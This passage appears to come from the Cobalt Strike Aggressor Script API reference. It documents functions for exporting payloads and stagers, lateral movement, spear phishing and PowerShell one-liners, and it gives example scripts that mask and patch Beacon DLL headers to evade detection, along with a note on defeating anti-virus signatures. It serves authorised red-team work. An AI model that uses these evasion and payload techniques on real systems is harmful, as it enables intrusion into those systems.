Open the file browser for a Beacon
Arguments
Example
openGoldenTicketDialog
open a dialog to help generate a golden ticket
Arguments
Example
openHTMLApplicationDialog
Open the HTML Application Dialog.
Example
openHTMLApplicationDialog();
openHostFileDialog
Open the host file dialog.
Example
openHostFileDialog();
openInterfaceManager
Open the tab to manage Covert VPN interfaces
Example
openInterfaceManager();
openJavaSignedAppletDialog
Open the Java Signed Applet dialog
Example
openJavaSignedAppletDialog();
openJavaSmartAppletDialog
Open the Java Smart Applet dialog
Example
openJavaSmartAppletDialog();
openJumpDialog
Open Cobalt Strike's lateral movement dialog
Arguments
$1 - the type of lateral movement. See &beacon_remote_exploits for a list of options. ssh and
ssh-key are options too.
Example
openKeystrokeBrowser
Open the keystroke browser tab
Example
openKeystrokeBrowser();
openListenerManager
Open the listener manager
Example
openListenerManager();
openMakeTokenDialog
open a dialog to help generate an access token
Arguments
Example
openMalleableProfileDialog
Open the malleable C2 profile dialog.
Example
openMalleableProfileDialog();
openOfficeMacro
Open the office macro export dialog
Example
openOfficeMacroDialog();
openOneLinerDialog
Open the dialog to generate a PowerShell one-liner for this specific Beacon session.
Arguments
$1 - the beacon ID
Example
item "&One-liner" {
openOneLinerDialog($1);
}
openOrActivate
If a Beacon console exists, make it active. If a Beacon console does not exist, open it.
Arguments
$1 - the Beacon ID
Example
item "&Activate" {
local('$bid');
foreach $bid ($1) {
openOrActivate($bid);
}
}
openPayloadGeneratorDialog
Open the Payload Generator dialog.
Example
openPayloadGeneratorDialog();
openPayloadHelper
Open a payload chooser dialog.
Arguments
Example
openPayloadHelper(lambda({
bspawn($bid, $1);
}, $bid => $1));
openPivotListenerSetup
open the pivot listener setup dialog
Arguments
Example
item "Listener..." {
local('$bid');
foreach $bid ($1) {
openPivotListenerSetup($bid);
}
}
openPortScanner
Open the port scanner dialog
Arguments
Example
openPortScanner(@("192.168.1.3"));
openPortScannerLocal
Open the port scanner dialog with options to target a Beacon's local network
Arguments
Example
item "Scan" {
local('$bid');
foreach $bid ($1) {
openPortScannerLocal($bid);
}
}
openPowerShellWebDialog
Open the dialog to setup the PowerShell Web Delivery Attack
Example
openPowerShellWebDialog();
openPreferencesDialog
Open the preferences dialog
Example
openPreferencesDialog();
openProcessBrowser
Open a process browser for one or more Beacons
Arguments
Example
item "Processes" {
openProcessBrowser($1);
}
openSOCKSBrowser
Open the tab to list SOCKS proxy servers
Example
openSOCKSBrowser();
openSOCKSSetup
open the SOCKS proxy server setup dialog
Arguments
Example
openScreenshotBrowser
Open the screenshot browser tab
Example
openScreenshotBrowser();
openScriptConsole
Open the Aggressor Script console.
Example
openScriptConsole();
openScriptManager
Open the tab for the script manager.
Example
openScriptManager();
openScriptedWebDialog
Open the dialog to setup a Scripted Web Delivery Attack
Example
openScriptedWebDialog();
openServiceBrowser
Open service browser dialog
Arguments
Example
openServiceBrowser(@("192.168.1.3"));
openSiteManager
Example
openSiteManager();
openSpawnAsDialog
Open dialog to spawn a payload as another user
Arguments
Example
openSpearPhishDialog
Open the dialog for the spear phishing tool.
Example
openSpearPhishDialog();
openSystemInformationDialog
Open the system information dialog.
Example
openSystemInformationDialog();
openSystemProfilerDialog
Open the dialog to setup the system profiler.
Example
openSystemProfilerDialog();
openTargetBrowser
Open the targets browser
Example
openTargetBrowser();
openWebLog
Open the web log tab.
Example
openWebLog();
openWindowsDropperDialog
REMOVED Removed in Cobalt Strike 4.0.
openWindowsExecutableDialog
Open the dialog to generate a Windows executable.
Example
openWindowsExecutableDialog();
openWindowsExecutableStage
Example
openWindowsExecutableStage();
openWindowsExecutableStageAllDialog
Open the dialog to generate all of the stageless payloads (in x86 and x64) for all of the
configured listeners. This dialog can also be found in the UI menu under Payloads -> Windows
Stageless Generate all Payloads.
Example
openWindowsExecutableStageAllDialog();
payload
Exports a raw payload for a specific Cobalt Strike listener.
Arguments
$3 - exit method: 'thread' (leave the thread when done) or 'process' (exit the process when
done). Use 'thread' if injecting into an existing process.
$4 - A string value for the system call method. Valid values are:
Indirect: Jump to the appropriate instruction within the Nt* version of the function.
Returns
Example
$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);
payload_bootstrap_hint
Get the offset to function pointer hints used by Beacon's Reflective Loader. Populate these hints
with the asked-for process addresses to have Beacon load itself into memory in a more OPSEC-
safe way.
Arguments
Notes
l Cobalt Strike's Beacon has a protocol to accept artifact-provided function pointers for
functions required by Beacon's Reflective Loader. The protocol is to patch the location of
GetProcAddress and GetModuleHandleA into the Beacon DLL. Use of this protocol
allows Beacon to load itself in memory without triggering shellcode detection heuristics
that monitor reads of kernel32's Export Address Table. This protocol is optional.
Artifacts that don't follow this protocol will fallback to resolving key functions via the
Export Address Table.
l The Artifact Kit and Resource Kit both implement this protocol. Download these kits to
see how to use this function.
Returns
The offset to a memory location to patch with a pointer for a specific function used by Beacon's
Reflective Loader.
payload_local
Exports a raw payload for a specific Cobalt Strike listener. Use this function when you plan to
spawn this payload from another Beacon session. Cobalt Strike will generate a payload that
embeds key function pointers, needed to bootstrap the agent, taken from the parent session's
metadata.
Arguments
$4 - exit method: 'thread' (leave the thread when done) or 'process' (exit the process when
done). Use 'thread' if injecting into an existing process.
$5 - A string value for the system call method. Valid values are:
Indirect: Jump to the appropriate instruction within the Nt* version of the function.
Returns
Example
$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);
pe_insert_rich_header
Insert rich header data into Beacon DLL Content. If there is existing rich header information, it
will be replaced.
Arguments
$2 - Rich header
Returns
Note
The rich header length should be on a 4 byte boundary for subsequent checksum calculations.
Example
# -------------------------------------
# Insert (replace) rich header
# -------------------------------------
$rich_header = "<your rich header info>";
$temp_dll = pe_insert_rich_header($temp_dll, $rich_header);
pe_mask
Mask data in the Beacon DLL Content based on position and length.
Arguments
$2 - Start location
$3 - Length to mask
Returns
Example
# ===========================================================================
# $1 = Beacon DLL content
# ===========================================================================
sub demo_pe_mask {
$temp_dll = $1;
# -------------------------------------
# Inspect the current DLL...
# -------------------------------------
%pemap = pedump($temp_dll);
@loc_en = values(%pemap, @("Export.Name."));
@val_en = values(%pemap, @("Export.Name."));
if (size(@val_en) != 1) {
warn("Unexpected size of export name value array: " . size(@val_en));
} else {
warn("Current export value: " . @val_en[0]);
}
if (size(@loc_en) != 1) {
warn("Unexpected size of export location array: " . size(@loc_en));
} else {
warn("Current export name location: " . @loc_en[0]);
}
# -------------------------------------
# Set parameters (parse number as base 10)
# -------------------------------------
$start = parseNumber(@loc_en[0], 10);
$length = 4;
$maskkey = 22;
# -------------------------------------
# mask some data in a dll
# -------------------------------------
# warn("pe_mask(dll, " . $start . ", " . $length . ", " . $maskkey . ")");
$temp_dll = pe_mask($temp_dll, $start, $length, $maskkey);
# dump_my_pe($temp_dll);
# -------------------------------------
# un-mask (running the same mask a second time should "un-mask")
# (This would normally be done by the reflective loader)
# -------------------------------------
# warn("pe_mask(dll, " . $start . ", " . $length . ", " . $maskkey . ")");
# $temp_dll = pe_mask($temp_dll, $start, $length, $maskkey);
# dump_my_pe($temp_dll);
# -------------------------------------
# All Done! Give back edited DLL!
# -------------------------------------
return $temp_dll;
}
pe_mask_section
Mask data in the Beacon DLL Content based on position and length.
Arguments
$2 - Section name
Returns
Example
# ===========================================================================
# $1 = Beacon DLL content
# ===========================================================================
sub demo_pe_mask_section {
$temp_dll = $1;
# -------------------------------------
# Set parameters
# -------------------------------------
$section_name = ".text";
$maskkey = 23;
# -------------------------------------
# mask a section in a dll
# -------------------------------------
# warn("pe_mask_section(dll, " . $section_name . ", " . $maskkey . ")");
$temp_dll = pe_mask_section($temp_dll, $section_name, $maskkey);
# dump_my_pe($temp_dll);
# -------------------------------------
# un-mask (running the same mask a second time should "un-mask")
# (This would normally be done by the reflective loader)
# -------------------------------------
# warn("pe_mask_section(dll, " . $section_name . ", " . $maskkey . ")");
# $temp_dll = pe_mask_section($temp_dll, $section_name, $maskkey);
# dump_my_pe($temp_dll);
# -------------------------------------
# All Done! Give back edited DLL!
# -------------------------------------
return $temp_dll;
}
pe_mask_string
Mask a string in the Beacon DLL Content based on position.
Arguments
$2 - Start location
Returns
Example
# ===========================================================================
# $1 = Beacon DLL content
# ===========================================================================
sub demo_pe_mask_string {
$temp_dll = $1;
# -------------------------------------
# Inspect the current DLL...
# -------------------------------------
%pemap = pedump($temp_dll);
@loc = values(%pemap, @("Sections.AddressOfName.0."));
if (size(@loc) != 1) {
warn("Unexpected size of section name location array: " . size(@loc));
} else {
warn("Current section name location: " . @loc[0]);
}
# -------------------------------------
# Set parameters
# -------------------------------------
$location = @loc[0];
$length = 5;
$maskkey = 23;
# -------------------------------------
# pe_mask_string (mask a string in a dll)
# -------------------------------------
# warn("pe_mask_string(dll, " . $location . ", " . $maskkey . ")");
$temp_dll = pe_mask_string($temp_dll, $location, $maskkey);
# dump_my_pe($temp_dll);
# -------------------------------------
# un-mask (running the same mask a second time should "un-mask")
# we are unmasking the length of the string and the null character
# (This would normally be done by the reflective loader)
# -------------------------------------
# warn("pe_mask(dll, " . $location . ", " . $length . ", " . $maskkey .
")");
# $temp_dll = pe_mask($temp_dll, $location, $length, $maskkey);
# dump_my_pe($temp_dll);
# -------------------------------------
# All Done! Give back edited DLL!
# -------------------------------------
return $temp_dll;
}
pe_patch_code
Patch code in the Beacon DLL Content based on find/replace in '.text' section'.
Arguments
Returns
Example
# ===========================================================================
# $1 = Beacon DLL content
# ===========================================================================
sub demo_pe_patch_code {
$temp_dll = $1;
$replacement = "\x01\x02\x03\xfc\xfe\xff";
# dump_my_pe($temp_dll);
# -------------------------------------
# All Done! Give back edited DLL!
# -------------------------------------
return $temp_dll;
}
pe_remove_rich_header
Remove the rich header from Beacon DLL Content.
Arguments
Returns
Example
# -------------------------------------
# Remove/Replace Rich Header
# -------------------------------------
$temp_dll = pe_remove_rich_header($temp_dll);
pe_set_compile_time_with_long
Set the compile time in the Beacon DLL Content.
Arguments
Returns
Example
pe_set_compile_time_with_string
Set the compile time in the Beacon DLL Content.
Arguments
Returns
Example
pe_set_export_name
Set the export name in the Beacon DLL Content.
Arguments
Returns
Note
Example
# -------------------------------------
# name must be in strings table...
# -------------------------------------
$export_name = "WININET.dll";
$temp_dll = pe_set_export_name($temp_dll, $export_name);
$export_name = "beacon.dll";
$temp_dll = pe_set_export_name($temp_dll, $export_name);
pe_set_long
Places a long value at a specified location.
Arguments
$2 - Location
$3 - Value
Returns
Example
# ===========================================================================
# $1 = Beacon DLL content
# ===========================================================================
sub demo_pe_set_long {
local('@loc_cs, @val_cs');
$temp_dll = $1;
# -------------------------------------
# Inspect the current DLL...
# -------------------------------------
%pemap = pedump($temp_dll);
@loc_cs = values(%pemap, @("CheckSum.<location>"));
@val_cs = values(%pemap, @("CheckSum.<value>"));
if (size(@val_cs) != 1) {
warn("Unexpected size of checksum value array: " . size(@val_cs));
} else {
warn("Current checksum value: " . @val_cs[0]);
}
if (size(@loc_cs) != 1) {
warn("Unexpected size of checksum location array: " . size(@loc_cs));
} else {
warn("Current checksum location: " . @loc_cs[0]);
}
# -------------------------------------
# Set parameters (parse number as base 10)
# -------------------------------------
$int_offset = parseNumber(@loc_cs[0], 10);
$long_value = 98765;
# -------------------------------------
# pe_set_long (set a long value)
# -------------------------------------
# warn("pe_set_long(dll, " . $int_offset . ", " . $long_value . ")");
$temp_dll = pe_set_long($temp_dll, $int_offset, $long_value);
# -------------------------------------
# Did it work?
# -------------------------------------
# dump_my_pe($temp_dll);
# -------------------------------------
# All Done! Give back edited DLL!
# -------------------------------------
return $temp_dll;
}
pe_set_short
Arguments
$2 - Location
$3 - Value
Returns
Example
# ===========================================================================
# $1 = Beacon DLL content
# ===========================================================================
sub demo_pe_set_short {
$temp_dll = $1;
# -------------------------------------
# Inspect the current DLL...
# -------------------------------------
%pemap = pedump($temp_dll);
@loc = values(%pemap, @(".text.NumberOfRelocations."));
@val = values(%pemap, @(".text.NumberOfRelocations."));
if (size(@val) != 1) {
warn("Unexpected size of .text.NumberOfRelocations value array: " . size(@val));
} else {
warn("Current .text.NumberOfRelocations value: " . @val[0]);
}
if (size(@loc) != 1) {
warn("Unexpected size of .text.NumberOfRelocations location array: " . size
(@loc));
} else {
warn("Current .text.NumberOfRelocations location: " . @loc[0]);
# -------------------------------------
# Set parameters (parse number as base 10)
# -------------------------------------
$int_offset = parseNumber(@loc[0], 10);
$short_value = 128;
# -------------------------------------
# pe_set_short (set a short value)
# -------------------------------------
# warn("pe_set_short(dll, " . $int_offset . ", " . $short_value . ")");
$temp_dll = pe_set_short($temp_dll, $int_offset, $short_value);
# -------------------------------------
# Did it work?
# -------------------------------------
# dump_my_pe($temp_dll);
# -------------------------------------
# All Done! Give back edited DLL!
# -------------------------------------
return $temp_dll;
}
pe_set_string
Places a string value at a specified location.
Arguments
$2 - Start location
$3 - Value
Returns
Example
# ===========================================================================
# $1 = Beacon DLL content
# ===========================================================================
sub demo_pe_set_string {
$temp_dll = $1;
# -------------------------------------
# Inspect the current DLL...
# -------------------------------------
%pemap = pedump($temp_dll);
@loc_en = values(%pemap, @("Export.Name."));
@val_en = values(%pemap, @("Export.Name."));
if (size(@val_en) != 1) {
warn("Unexpected size of export name value array: " . size(@val_en));
} else {
warn("Current export value: " . @val_en[0]);
}
if (size(@loc_en) != 1) {
warn("Unexpected size of export location array: " . size(@loc_en));
} else {
warn("Current export name location: " . @loc_en[0]);
}
# -------------------------------------
# Set parameters (parse number as base 10)
# -------------------------------------
$location = parseNumber(@loc_en[0], 10);
$value = "BEECON.DLL";
# -------------------------------------
# pe_set_string (set a string value)
# -------------------------------------
# warn("pe_set_string(dll, " . $location . ", " . $value . ")");
$temp_dll = pe_set_string($temp_dll, $location, $value);
# -------------------------------------
# Did it work?
# -------------------------------------
# dump_my_pe($temp_dll);
# -------------------------------------
# All Done! Give back edited DLL!
# -------------------------------------
return $temp_dll;
}
pe_set_stringz
Places a string value at a specified location and adds a zero terminator.
Arguments
$2 - Start location
$3 - String to set
Returns
Example
# ===========================================================================
# $1 = Beacon DLL content
# ===========================================================================
sub demo_pe_set_stringz {
$temp_dll = $1;
# -------------------------------------
# Inspect the current DLL...
# -------------------------------------
%pemap = pedump($temp_dll);
@loc = values(%pemap, @("Sections.AddressOfName.0."));
if (size(@loc) != 1) {
warn("Unexpected size of section name location array: " . size(@loc));
} else {
warn("Current section name location: " . @loc[0]);
}
# -------------------------------------
# Set parameters (parse number as base 10)
# -------------------------------------
$offset = parseNumber(@loc[0], 10);
$value = "abc";
# -------------------------------------
# pe_set_stringz
# -------------------------------------
# warn("pe_set_stringz(dll, " . $offset . ", " . $value . ")");
$temp_dll = pe_set_stringz($temp_dll, $offset, $value);
# -------------------------------------
# Did it work?
# -------------------------------------
# dump_my_pe($temp_dll);
# -------------------------------------
# Set parameters
# -------------------------------------
# $offset = parseNumber(@loc[0], 10);
# $value = ".tex";
# -------------------------------------
# pe_set_string (set a string value)
# -------------------------------------
# warn("pe_set_string(dll, " . $offset . ", " . $value . ")");
# $temp_dll = pe_set_string($temp_dll, $offset, $value);
# -------------------------------------
# Did it work?
# -------------------------------------
# dump_my_pe($temp_dll);
# -------------------------------------
# All Done! Give back edited DLL!
# -------------------------------------
return $temp_dll;
}
pe_set_value_at
Sets a long value based on the location resolved by a name from the PE Map (see pedump).
Arguments
$3 - Value
Returns
Example
# ===========================================================================
# $1 = DLL content
# ===========================================================================
sub demo_pe_set_value_at {
$temp_dll = $1;
# -------------------------------------
# Inspect the current DLL...
# -------------------------------------
# %pemap = pedump($temp_dll);
# @loc = values(%pemap, @("SizeOfImage."));
# @val = values(%pemap, @("SizeOfImage."));
# if (size(@val) != 1) {
# warn("Unexpected size of SizeOfImage. value array: " . size(@val));
# } else {
# warn("Current SizeOfImage. value: " . @val[0]);
# }
# if (size(@loc) != 1) {
# warn("Unexpected size of SizeOfImage location array: " . size(@loc));
# } else {
# warn("Current SizeOfImage. location: " . @loc[0]);
# }
# -------------------------------------
# Set parameters
# -------------------------------------
$name = "SizeOfImage";
$long_value = 22334455;
# -------------------------------------
# pe_set_value_at (set a long value at the location resolved by name)
# -------------------------------------
# $1 = DLL (byte array)
# $2 = name (string)
# $3 = value (long)
# -------------------------------------
warn("pe_set_value_at(dll, " . $name . ", " . $long_value . ")");
$temp_dll = pe_set_value_at($temp_dll, $name, $long_value);
# -------------------------------------
# Did it work?
# -------------------------------------
# dump_my_pe($temp_dll);
# -------------------------------------
# set it back?
# -------------------------------------
# warn("pe_set_value_at(dll, " . $name . ", " . @val[0] . ")");
# $temp_dll = pe_set_value_at($temp_dll, $name, @val[0]);
# dump_my_pe($temp_dll);
# -------------------------------------
# All Done! Give back edited DLL!
# -------------------------------------
return $temp_dll;
}
pe_stomp
Set a string to null characters. Start at a specified location and sets all characters to null until a
null string terminator is reached.
Arguments
$2 - Start location
Returns
Example
# ===========================================================================
# $1 = Beacon DLL content
# ===========================================================================
sub demo_pe_stomp {
$temp_dll = $1;
# -------------------------------------
# Inspect the current DLL...
# -------------------------------------
%pemap = pedump($temp_dll);
@loc = values(%pemap, @("Sections.AddressOfName.1."));
@val = values(%pemap, @("Sections.AddressOfName.1."));
if (size(@val) != 1) {
warn("Unexpected size of Sections.AddressOfName.1 value array: " . size(@val));
} else {
warn("Current Sections.AddressOfName.1 value: " . @val[0]);
}
if (size(@loc) != 1) {
warn("Unexpected size of Sections.AddressOfName.1 location array: " . size
(@loc));
} else {
warn("Current Sections.AddressOfName.1 location: " . @loc[0]);
}
# -------------------------------------
# Set parameters (parse number as base 10)
# -------------------------------------
$location = parseNumber(@loc[0], 10);
# -------------------------------------
# pe_stomp (stomp a string at a location)
# -------------------------------------
# warn("pe_stomp(dll, " . $location . ")");
$temp_dll = pe_stomp($temp_dll, $location);
# -------------------------------------
# Did it work?
# -------------------------------------
# dump_my_pe($temp_dll);
# -------------------------------------
# All Done! Give back edited DLL!
# -------------------------------------
return $temp_dll;
}
pe_update_checksum
Update the checksum in the Beacon DLL Content.
Arguments
Returns
Note
Example
# -------------------------------------
# update checksum
# -------------------------------------
$temp_dll = pe_update_checksum($temp_dll);
pedump
Parse an executable Beacon into a map of the PE Header information. The parsed information
can be used for research or programmatically to make changes to the Beacon.
Arguments
Returns
A map of the parsed information. The map data is very similar to the "./peclone dump [file]"
command output.
Example
# ===========================================================================
# 'case insensitive sort' from sleep manual...
# ===========================================================================
sub caseInsensitiveCompare
{
$a = lc($1);
$b = lc($2);
return $a cmp $b;
}
# ===========================================================================
# Dump PE Information
# $1 = Beacon DLL content
# ===========================================================================
sub dump_my_pe {
local('$out $key $val %pemap @sorted_keys');
%pemap = pedump($1);
# ---------------------------------------------------
# Example listing all items from hash/map...
# ---------------------------------------------------
@sorted_keys = sort(&caseInsensitiveCompare, keys(%pemap));
foreach $key (@sorted_keys)
{
$out = "$[50]key";
foreach $val (values(%pemap, @($key)))
{
$out .= " $val";
println($out);
}
}
# ---------------------------------------------------
# Example of grabbing specific items from hash/map...
# ---------------------------------------------------
local('@loc_cs @val_cs');
@loc_cs = values(%pemap, @("CheckSum.<location>"));
@val_cs = values(%pemap, @("CheckSum.<value>"));
println("");
See also
pgraph
Generate the pivot graph GUI component.
Returns
Example
See also
&showVisualization
pivots
Returns a list of SOCKS pivots from Cobalt Strike's data model.
Returns
Example
printAll(pivots());
popup_clear
Remove all popup menus associated with the current menu. This is a way to override Cobalt
Strike's default popup menu definitions.
Arguments
Example
popup_clear("help");
popup help {
item "My stuff!" {
show_message("This is my menu!");
}
}
powershell
DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &artifact_stager and
&powershell_command instead.
Arguments
Notes
Be aware that not all listener configurations have x64 stagers. If in doubt, use x86.
Returns
Example
powershell_command
Returns a one-liner to run a PowerShell expression (e.g., powershell.exe -nop -w
hidden -encodedcommand MgAgACsAIAAyAA==)
Arguments
Returns
Example
powershell_compress
Compresses a PowerShell script and wraps it in a script to decompress and execute it.
Arguments
Example
powershell_encode_oneliner
DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &powershell_command
instead.
Arguments
Example
powershell_encode_stager
DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &artifact_general and
&powershell_command instead.
Arguments
$1 - shellcode to wrap
Returns
Returns a base64 encoded PowerShell suitable for use with powershell.exe's -enc option.
Example
pref_get
Grabs a string value from Cobalt Strike's preferences.
Arguments
Returns
Example
pref_get_list
Grabs a list value from Cobalt Strike's preferences.
Arguments
Returns
Example
@foo = pref_get_list("foo.list");
pref_set
Set a value in Cobalt Strike's preferences
Arguments
Example
pref_set("foo.string", "baz!");
pref_set_list
Stores a list value into Cobalt Strike's preferences.
Arguments
Example
previousTab
Activate the tab that is to the left of the current tab.
Example
bind Ctrl+Left {
previousTab();
}
process_browser
Opens the Process Browser. This function does not have any parameters.
privmsg
Post a private message to a user in the event log
Arguments
$2 - the message
Example
prompt_confirm
Show a dialog with Yes/No buttons. If the user presses yes, call the specified function.
Arguments
Example
prompt_directory_open
Show a directory open dialog.
Arguments
$2 - default value
$4 - a callback function. Called when the user chooses a folder. The argument to the callback is
the selected folder. If multiple folders are selected, they will still be specified as the first
argument, separated by commas.
Example
prompt_file_open
Show a file open dialog.
Arguments
$2 - default value
$4 - a callback function. Called when the user chooses a file to open. The argument to the
callback is the selected file. If multiple files are selected, they will still be specified as the first
argument, separated by commas.
Example
prompt_file_save
Show a file save dialog.
Arguments
$1 - default value
$2 - a callback function. Called when the user chooses a filename. The argument to the callback
is the desired file.
Example
prompt_file_save($null, {
local('$handle');
$handle = openf("> $+ $1");
prompt_text
Show a dialog that asks the user for text.
Arguments
$3 - a callback function. Called when the user presses OK. The first argument to this callback is
the text the user provided.
Example
range
Generate an array of numbers based on a string description of ranges.
Arguments
Range Result
103 The number 103
3-8 The numbers 3, 4, 5, 6, and 7.
2,4-6 The numbers 2, 4, and 5.
Returns
Example
printAll(range("2,4-6"));
redactobject
Removes a post-exploitation object (e.g., screenshot, keystroke buffer) from the user interface.
Arguments
removeTab
Close the active tab
Example
bind Ctrl+D {
removeTab();
}
resetData
Reset Cobalt Strike's data model.
say
Post a public chat message to the event log.
Arguments
$1 - the message
Example
say("Hello World!");
sbrowser
Generate the session browser GUI component. Shows Beacon AND SSH sessions.
Returns
Example
See also
&showVisualization
screenshots
Returns a list of screenshots from Cobalt Strike's data model.
Returns
Example
printAll(screenshots());
script_resource
Returns the full path to a resource that is stored relative to this script file.
Arguments
Returns
Example
println(script_resource("dummy.txt"));
separator
Insert a separator into the current menu tree.
Example
popup foo {
item "Stuff" { ... }
separator();
item "Other Stuff" { ... }
}
services
Returns a list of services in Cobalt Strike's data model.
Returns
Example
printAll(services());
setup_reflective_loader
Insert the reflective loader executable code into a beacon payload.
Arguments
Returns
The beacon executable payload updated with the user defined reflective loader. $null if there is
an error.
Notes
Example
# ---------------------------------------------------------------------
# Replace the beacons default loader with '$loader'.
# ---------------------------------------------------------------------
$temp_dll = setup_reflective_loader($2, $loader);
setup_strings
Apply the strings defined in the Malleable C2 profile to the beacon payload.
Arguments
Returns
The updated beacon payload with the defined strings applied to the payload.
Example
setup_transformations
Apply the transformations rules defined in the Malleable C2 profile to the beacon payload.
Arguments
Returns
The updated beacon payload with the transformations applied to the payload.
Example
shellcode
DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &stager instead.
Arguments
Note
Be aware that not all listener configurations have x64 stagers. If in doubt, use x86.
Returns
Example
$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);
showVisualization
Switch Cobalt Strike visualization to a registered visualization.
Arguments
Example
bind Ctrl+H {
showVisualization("Hello World");
}
See also
&showVisualization
show_error
Shows an error message to the user in a dialog box. Use this function to relay error information.
Arguments
Example
show_message
Shows a message to the user in a dialog box. Use this function to relay information.
Arguments
Example
site_host
Host content on Cobalt Strike's web server
Arguments
Returns
Example
site_kill
Remove a site from Cobalt Strike's web server
Arguments
$1 - the port
$2 - the URI
Example
sites
Returns a list of sites tied to Cobalt Strike's web server.
Returns
Example
printAll(sites());
ssh_command_describe
Describe an SSH command.
Returns
Arguments
$1 - the command
Example
println(ssh_command_describe("sudo"));
ssh_command_detail
Get the help information for an SSH command.
Returns
Arguments
$1 - the command
Example
println(ssh_command_detail("sudo"));
ssh_command_register
Register help information for an SSH console command.
Arguments
$1 - the command
Example
ssh_alias echo {
blog($1, "You typed: " . substr($1, 5));
}
ssh_command_register(
"echo",
"echo posts to the current session's log",
"Synopsis: echo [arguments]\n\nLog arguments to the SSH console");
ssh_commands
Get a list of SSH commands.
Returns
Example
printAll(ssh_commands());
stager
Returns the stager for a specific Cobalt Strike listener
Arguments
Note
Be aware that not all listener configurations have x64 stagers. If in doubt, use x86.
Returns
Example
$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);
stager_bind_pipe
Returns a bind_pipe stager for a specific Cobalt Strike listener. This stager is suitable for use in
lateral movement actions that benefit from a small named pipe stager. Stage with &beacon_
stage_pipe.
Arguments
Returns
Example
See also
&artifact_general
stager_bind_tcp
Returns a bind_tcp stager for a specific Cobalt Strike listener. This stager is suitable for use in
localhost-only actions that require a small stager. Stage with &beacon_stage_tcp.
Arguments
Returns
Example
See also
&artifact_general
str_chunk
Chunk a string into multiple parts
Arguments
Returns
Example
# hint... :)
else if ($1 eq "template.x86.ps1") {
local('$enc');
$enc = str_chunk(base64_encode($2), 61);
return strrep($data, '%%DATA%%', join("' + '", $enc));
}
str_decode
Convert a string of bytes to text with the specified encoding.
Arguments
Returns
Example
str_encode
Convert text to byte string with the specified character encoding.
Arguments
Returns
Example
# convert to UTF16-LE
$encoded = str_encode("this is some text", "UTF16-LE");
str_xor
Walk a string and XOR it with the provided key.
Arguments
Returns
Example
sync_download
Sync a downloaded file (View -> Downloads) to a local path.
Arguments
$3 - (optional) a callback function to execute when download is synced. The first argument to
this function is the local path of the downloaded file.
Example
targets
Returns a list of host information in Cobalt Strike's data model.
Returns
Example
printAll(targets());
tbrowser
Generate the target browser GUI component.
Returns
Example
See also
&showVisualization
tokenToEmail
Covert a phishing token to an email address.
Arguments
Returns
The email address or "unknown" if the token is not associated with an email.
Example
set PROFILER_HIT {
local('$out $app $ver $email');
$email = tokenToEmail($5);
$out = "\c9[+]\o $1 $+ / $+ $2 [ $+ $email $+ ] Applications";
foreach $app => $ver ($4) {
$out .= "\n\t $+ $[25]app $ver";
}
return "$out $+ \n\n";
}
transform
Transform shellcode into another format.
Arguments
Type Description
array comma separated byte values
hex Hex-encode the value
powershell-base64 PowerShell.exe-friendly base64 encoder
vba a VBA array() with newlines added in
vbs a VBS expression that results in a string
veil Veil-ready string (\x##\x##)
Returns
Example
transform_vbs
Transform shellcode into a VBS expression that results in a string
Arguments
Notes
l Previously, Cobalt Strike would embed its stagers into VBS files as several Chr() calls
concatenated into a string.
l Cobalt Strike 3.9 introduced features that required larger stagers. These larger stagers
were too big to embed into a VBS file with the above method.
l To get past this VBS limitation, Cobalt Strike opted to use Chr() calls for non-ASCII
data and runs of double-quoted strings for printable characters.
l This change, an engineering necessity, unintentionally defeated static anti-virus
signatures for Cobalt Strike's default VBS artifacts at that time.
l If you're looking for an easy evasion benefit with VBS artifacts, consider adjusting the
plaintext run length in your Resource Kit.
Returns
Example
tstamp
Format a time into a date/time value. This value does not include seconds.
Arguments
Example
See also
&dstamp
unbind
Remove a keyboard shortcut binding.
Arguments
Example
See also
&bind
url_open
Open a URL in the default browser.
Arguments
Example
command go {
url_open("https://www.cobaltstrike.com/");
}
users
Returns a list of users connected to this team server.
Returns
An array of users.
Example
vpn_interface_info
Get information about a VPN interface.
Arguments
Returns
%info = vpn_interface_info("interface");
Returns the value for the specified key from this interface's metadata
Example
vpn_interfaces
Return a list of VPN interface names
Returns
Example
printAll(vpn_interfaces());
vpn_tap_create
Create a Covert VPN interface on the team server system.
Arguments
Example
vpn_tap_delete
Destroy a Covert VPN interface
Arguments
Example
vpn_tap_destroy("phear0");
Popup Hooks
The following popup hooks are available in Cobalt Strike:
Report-Only Functions
These functions apply to Cobalt Strike's custom report capability only.
agApplications
Pull information from the applications model.
Arguments
Returns
An array of dictionary objects that describes each entry in the applications model.
Example
printAll(agApplications($model));
agC2info
Pull information from the c2info model.
Arguments
Returns
An array of dictionary objects that describes each entry in the c2info model.
Example
printAll(agC2Info($model));
agCredentials
Pull information from the credentials model
Arguments
Returns
An array of dictionary objects that describes each entry in the credentials model.
Example
printAll(agCredentials($model));
agServices
Pull information from the services model
Arguments
Returns
An array of dictionary objects that describes each entry in the services model.
Example
printAll(agServices($model));
agSessions
Pull information from the sessions model
Arguments
Returns
An array of dictionary objects that describes each entry in the sessions model.
Example
printAll(agSessions($model));
agTargets
Pull information from the targets model.
Arguments
Returns
An array of dictionary objects that describes each entry in the targets model.
Example
printAll(agTargets($model));
agTokens
Pull information from the phishing tokens model.
Arguments
Returns
An array of dictionary objects that describes each entry in the phishing tokens model.
Example
printAll(agTokens($model));
attack_describe
Maps a MITRE ATT&CK tactic ID to its longer description.
Returns
Example
println(attack_describe("T1134"));
attack_detect
Maps a MITRE ATT&CK tactic ID to its detection strategy
Returns
Example
println(attack_detect("T1134"));
attack_mitigate
Maps a MITRE ATT&CK tactic ID to its mitigation strategy
Returns
Example
println(attack_mitigate("T1134"));
attack_name
Maps a MITRE ATT&CK tactic ID to its short name.
Returns
Example
println(attack_name("T1134"));
attack_tactics
An array of MITRE ATT&CK tactics known to Cobalt Strike.
https://attack.mitre.org
Returns
Example
printAll(attack_tactics());
attack_url
Maps a MITRE ATT&CK tactic ID to the URL where you can learn more.
Returns
Example
println(attack_url("T1134"));
bookmark
Define a bookmark [PDF document only]
Arguments
$2 - (Optional) Define a child bookmark [must be the same as &h1 or &h2 title].
Example
br
Print a line-break.
